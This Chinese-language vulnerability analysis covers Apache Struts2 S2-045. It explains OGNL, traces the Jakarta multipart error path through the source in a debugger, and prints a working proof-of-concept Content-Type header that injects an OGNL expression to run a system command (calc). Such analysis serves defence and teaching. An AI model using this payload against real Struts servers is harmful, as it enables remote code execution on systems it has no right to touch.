2018-09-08 首发于阿里先知: https://xz.aliyun.com/t/2712
0x00 OGNL表达式
1) ognl基本介绍
OGNL是Object-Graph Navigation Language(对象图导航语言)的缩写,它是一种功能强大的表达式语言(比EL更强大),通过简单一致的表达式语法,可以存取对象的任何属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。
xwork提供了OGNL表达式。其jar包为ognl-x.x.x.jar。
Struts2框架使用OGNL作为默认的表达式语言。
OGNL有三大要素,分别是表达式、根对象、Context对象。
表达式是整个OGNL的核心,OGNL根据表达式去对象中取值。所有OGNL操作都是针对表达式解析后进行的。
根对象(Root):Root对象可以理解为OGNL的操作对象,表达式规定了”做什么”,而Root对象则规定了”对谁操作”。OGNL称为对象图导航语言,所谓对象图,即以任意一个对象为根,通过OGNL可以访问与这个对象关联的其它对象。
Context对象:OGNL的取值还需要一个上下文环境。Root对象所在环境就是OGNL的上下文环境(Context)。上下文环境规定了OGNL的操作在哪里进行。上下文环境Context是一个Map类型的对象,在表达式中访问Context中的对象,需要使用”#”号加上对象名称,即#”对象名称”的形式,表示了与访问Root对象的区别。
2)ognl基本用法示例
1 | package lltest; |
说明:需要导入ognl-3.0.6.jar
3) ognl执行系统命令
用法: @[类全名(包括包路径)]@[方法名|值名] 即@包名.类名@方法名 如:1
Object obj = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context);
完整示例:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15package lltest;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
public class OsExec {
public static void main(String[] args) throws OgnlException {
OgnlContext context = new OgnlContext();
//@[类全名(包括包路径)@[方法名|值名]]
//执行命令
Object obj = Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context);
System.out.println(obj);
}
}
说明:需要导入javassist-3.11.0.GA.jar和ognl-3.0.6.jar 两个jar包
0x01 S2-045漏洞简述
Struts2默认处理multipart上传报文的解析器为Jakarta插件(org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类)。
但是Jakarta插件在处理文件上传(multipart)的请求时会捉捕异常信息,并对异常信息进行OGNL表达式处理。当content-type错误时会抛出异常并带上Content-Type属性值,可通过构造附带OGNL表达的请求导致远程代码执行。
影响Struts2版本: Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10
官方通告详情:
https://cwiki.apache.org/confluence/display/WW/S2-045
0x02 S2-045漏洞分析
为复现漏洞,可使用struts2.3.x环境下自带的struts2-showcase演示demo示例环境,进行漏洞复现。下载struts-2.3.20-apps.zip (http://archive.apache.org/dist/struts/2.3.20/ )
或者自行编写简单测试样例,不去详述了。
下面使用eclipse对struts-2.3.20进行动态分析:
1) 漏洞补丁对比
https://github.com/apache/struts/commit/352306493971e7d5a756d61780d57a76eb1f519a?diff=split
主要对core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java中的
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args); 进行删除,并重新定义
2)Jakarta解析multipart上传请求
Struts2默认处理multipart上传报文的解析器是plugin插件(org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类)
StrutsPrepareAndExecuteFilter类是Struts2默认配置的入口过滤器。Struts2首先对输入请求对象request的进行封装:1
request = prepare.wrapRequest(request);
路径struts-2.3.20\src\core\src\main\java\org\apache\struts2\dispatcher\ng\filter\StrutsPrepareAndExecuteFilter.java
跟进wrapRequest()
继续跟进wrapRequest()
路径struts-2.3.20\src\core\src\main\java\org\apache\struts2\dispatcher\Dispatcher.java
此处有两个关注点:1
1)if (content_type != null && content_type.contains("multipart/form-data")) {
S2-045的POC一般都有(#nike=’multipart/form-data’)这样一句,就是使content_type.contains(“multipart/form-data”)判断为true1
2)MultiPartRequest mpr = getMultiPartRequest();
继续追踪getMultiPartRequest方法。通过配置struts.multipart.parser属性,可以指定不同的解析类,而默认就是org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类。
3) 加断点动态测试
弹出计算器POC:1
Content-Type: haha~multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};
JakartaMultiPartRequest.java - buildErrorMessage()
路径struts-2.3.20\src\core\src\main\java\org\apache\struts2\dispatcher\multipart
在return LocalizedTextUtil.findText()处加断点1
2
3
4
5
6
7protected String buildErrorMessage(Throwable e, Object[] args) {
String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
if (LOG.isDebugEnabled()) {
LOG.debug("Preparing error message for key: [#0]", errorKey);
}
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args); //加断点
}
到达断点return LocalizedTextUtil.findText(),执行下一步,即可弹出计算器:
此时e的值为:1
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is haha~multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};
下面到达断点return LocalizedTextUtil.findText() 然后跟进findText()方法继续调试
LocalizedTextUtil.java
路径struts-2.3.20\src\xwork-core\src\main\java\com\opensymphony\xwork2\util\ LocalizedTextUtil.java
findText()
1 | return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, e.getMessage(), args); |
跟进LocalizedTextUtil.findText()1
return findText(aClass, aTextName, locale, defaultMessage, args, valueStack);
继续跟进return findText()
1 | 此时indexedTextName为:null |
getDefaultMessage()
1 | result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage); |
继续跟进getDefaultMessage()
TextParseUtil.java - translateVariables()
1 | MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale); |
继续跟进 translateVariables()
translateVariables()方法使用了 ognl 的 $ 与 % 标签,两者都能告诉执行环境 ${} 或 %{} 中的内容为ognl表达式。所以POC中使用 % 或者$ 都可以触发漏洞。
1 | return parser.evaluate(openChars, expression, ognlEval, maxLoopCount); |
继续跟进return translateVariables()
最后调用了evaluate()方法解析OGNL,执行代码1
此时expression值为the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is haha~multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc')};
evaluate()方法说明
1 | ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() { |
跟进ParsedValueEvaluator()
translateVariables()方法继承接口com.opensymphony.xwork2.util.TextParseUtil.ParsedValueEvaluator
在创建对象后重写了evaluate()方法
通过该方法的说明文档可知evaluate()方法会解析ognl表达式
https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/util/TextParseUtil.ParsedValueEvaluator.html